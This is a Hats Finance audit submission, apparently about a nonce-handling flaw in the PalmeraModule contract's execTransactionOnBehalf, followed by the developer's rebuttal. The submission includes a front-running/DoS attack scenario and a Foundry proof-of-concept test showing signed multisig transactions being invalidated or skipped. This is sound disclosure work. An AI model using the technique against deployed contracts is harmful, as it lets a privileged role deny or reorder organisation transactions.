The `nonce` should be increment only when use signatures

[hats-bug-reporter[bot]]

Github username: @Rotcivegaf Twitter username: -- Submission hash (on-chain): 0x0980eb3f84be5c25258d06c0e6d2e683bfd7a11574107210ec6e94a4a02bf301 Severity: high

Description:

Description

In the function execTransactionOnBehalf the nonce signature of the org is incremented always even when it is a call from the SafeLead

The problem is that if signatures from the owners were given to approve transactions and the SafeLead executes a transaction before execute this transactions, the transactions of the signatures will revert because the nonce will have been increased.

Attack Scenario

On the one hand, the owners sign a sequence of 3 incremental nonce transactions [1, 2, 3], of these transactions one is executed, at that moment the SafeLead sends a transaction, then invalidates the signature of the transaction with nonce 2 since the nonce was incremented, finally the transaction with nonce 3 can be executed but the one with nonce 2 cannot, causing the transaction with nonce 2 to be skipped.

Another possible scenario is that the SafeLead can generate a DoS to the owners that sign transactions, because when the SafeLead sees a transaction with the owners' signatures it frontrun it by sending a transaction before it causing the nonce to increase and invalidate the signatures.

Recommendation

@@ -162,7 +162,7 @@ contract PalmeraModule is Auth, Helpers {
                 data,
                 operation,
                 /// Signature info
-                nonce[org]
+                nonce[org]++
             );
             /// Verify Collision of Nonce with multiple txs in the same range of time, study to use a nonce per org

@@ -177,7 +177,6 @@ contract PalmeraModule is Auth, Helpers {
             );
         }
         /// Increase nonce and execute transaction.
-        nonce[org]++;
         /// Execute transaction from target safe
         ISafe safeTarget = ISafe(targetSafe);

Attachments

PoC

https://github.com/hats-finance/Palmera-0x5fee7541ddcd51ba9f4af606f87b2c42eea655be/blob/dfd821e2fd7825c66c079c19be9460238f6e045a/src/PalmeraModule.sol#L180

Add this test case to test/ExecTransactionOnBehalf.t.sol file:

    function test_PoC() public {
        // SET UP

        (uint256 rootId,, uint256 safeSubSafeA1Id, uint256[] memory ownersPK,) =
        palmeraSafeBuilder.setupOrgThreeTiersTree(
            orgName, safeA1Name, subSafeA1Name
        );

        address rootAddr = palmeraModule.getSafeAddress(rootId);

        palmeraHelper.setSafe(rootAddr);
        address safeSubSafeA1Addr =
            palmeraModule.getSafeAddress(safeSubSafeA1Id);

        vm.deal(rootAddr, 100 gwei);
        vm.deal(safeSubSafeA1Addr, 100 gwei);

        // get safe from rootAddr
        GnosisSafe rootSafe = GnosisSafe(payable(rootAddr));

        // get owners of the root safe
        address[] memory owners = rootSafe.getOwners();
        uint256 threshold = rootSafe.getThreshold();
        bytes32 orgHash = palmeraModule.getOrgHashBySafe(rootAddr);
        uint256 nonce = palmeraModule.nonce(orgHash);

        // Set safe_lead role to the lead
        address lead = address(0x6EAD);
        vm.startPrank(rootAddr);
        palmeraModule.setRole(DataTypes.Role.SAFE_LEAD, lead, rootId, true);
        assertEq(palmeraModule.isSafeLead(rootId, lead), true);

        // Init Valid Owners
        initValidOnwers(4);

        bytes memory concatenatedSignaturesA;
        bytes memory concatenatedSignaturesB;
        bytes memory concatenatedSignaturesC;

        for (uint256 j; j < threshold; ++j) {
            address currentOwner = owners[j];
            vm.startPrank(currentOwner);
            bytes memory palmeraTxHashData = palmeraModule.encodeTransactionData(
                orgHash,
                rootAddr,
                safeSubSafeA1Addr,
                receiver,
                1 gwei,
                "",
                Enum.Operation(0),
                nonce
            );
            bytes32 digest = keccak256(palmeraTxHashData);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownersPK[j], digest);
            // verify signer
            address signer = ecrecover(digest, v, r, s);
            assertEq(signer, currentOwner);
            bytes memory signature = abi.encodePacked(r, s, v);
            concatenatedSignaturesA =
                abi.encodePacked(concatenatedSignaturesA, signature);
            vm.stopPrank();
        }

        for (uint256 j; j < threshold; ++j) {
            address currentOwner = owners[j];
            vm.startPrank(currentOwner);
            bytes memory palmeraTxHashData = palmeraModule.encodeTransactionData(
                orgHash,
                rootAddr,
                safeSubSafeA1Addr,
                receiver,
                1 gwei,
                "",
                Enum.Operation(0),
                nonce + 1
            );
            bytes32 digest = keccak256(palmeraTxHashData);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownersPK[j], digest);
            // verify signer
            address signer = ecrecover(digest, v, r, s);
            assertEq(signer, currentOwner);
            bytes memory signature = abi.encodePacked(r, s, v);
            concatenatedSignaturesB =
                abi.encodePacked(concatenatedSignaturesB, signature);
            vm.stopPrank();
        }

        for (uint256 j; j < threshold; ++j) {
            address currentOwner = owners[j];
            vm.startPrank(currentOwner);
            bytes memory palmeraTxHashData = palmeraModule.encodeTransactionData(
                orgHash,
                rootAddr,
                safeSubSafeA1Addr,
                receiver,
                1 gwei,
                "",
                Enum.Operation(0),
                nonce + 2
            );
            bytes32 digest = keccak256(palmeraTxHashData);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownersPK[j], digest);
            // verify signer
            address signer = ecrecover(digest, v, r, s);
            assertEq(signer, currentOwner);
            bytes memory signature = abi.encodePacked(r, s, v);
            concatenatedSignaturesC =
                abi.encodePacked(concatenatedSignaturesC, signature);
            vm.stopPrank();
        }

        address callerEOA = address(0xFED);

        // At this point we have 3 txs with [nonce, nonce + 1, nonce + 2], this transactions should be execute sequentially

        // execute the first
        vm.startPrank(callerEOA);
        palmeraModule.execTransactionOnBehalf(
            orgHash,
            rootAddr,
            safeSubSafeA1Addr,
            receiver,
            1 gwei,
            "",
            Enum.Operation(0),
            concatenatedSignaturesA
        );

        // The lead execute a tx
        vm.startPrank(lead);
        palmeraModule.execTransactionOnBehalf(
            orgHash,
            rootAddr,
            rootAddr,
            receiver,
            1 gwei,
            "",
            Enum.Operation(0),
            ""
        );

        // When try to send the nonce + 1 transaction it fails because the nonce incremented the previous lead transaction
        vm.startPrank(callerEOA);
        vm.expectRevert("GS020");
        palmeraModule.execTransactionOnBehalf(
            orgHash,
            rootAddr,
            safeSubSafeA1Addr,
            receiver,
            1 gwei,
            "",
            Enum.Operation(0),
            concatenatedSignaturesB
        );

        // The nonce + 2 transaction is executed without having executed the nonce + 1 transaction
        palmeraModule.execTransactionOnBehalf(
            orgHash,
            rootAddr,
            safeSubSafeA1Addr,
            receiver,
            1 gwei,
            "",
            Enum.Operation(0),
            concatenatedSignaturesC
        );
    }

[alfredolopez80]

@rotcivegaf, several point here:

1. There is no correct code analysis, if you check it carefully the tx will be executed whether or not it is a SafeLead, the only thing that changes if the caller is a SafeLead is that there is no prior check to sign!! , is the only thing, additionally that is the reason why the nonce increment is done just before calling the execTransactionFromModule so that the nonce is incremented regardless of who calls the method
2. Yes it is indeed a responsibility of the organization to control the nonce number and its sequence due to how critical its execution is, it must therefore avoid generating mismanagement of it, be careful, this happens in the same way with the nonce of a unitary safe, therefore Safe users are accustomed to carrying out this control, and given how critical the execution of executionOnBehal is in an organization, the same approach was chosen.
3. Over a front-running or DOS attack, only a RootSafe. SuperSafe or SafeLead, can be executed, and all these roles are assigned or revoked by RootSafe itself, therefore it is the one who must ensure that this role is assigned to very trusted users that you can execute with these roles on targetSafe criticisms of the organization !!, therefore to carry out this attack the RootSafe must be involved, which would mean that the highest hierarchical role of the organization would be compromised and therefore it cannot be avoided!!!?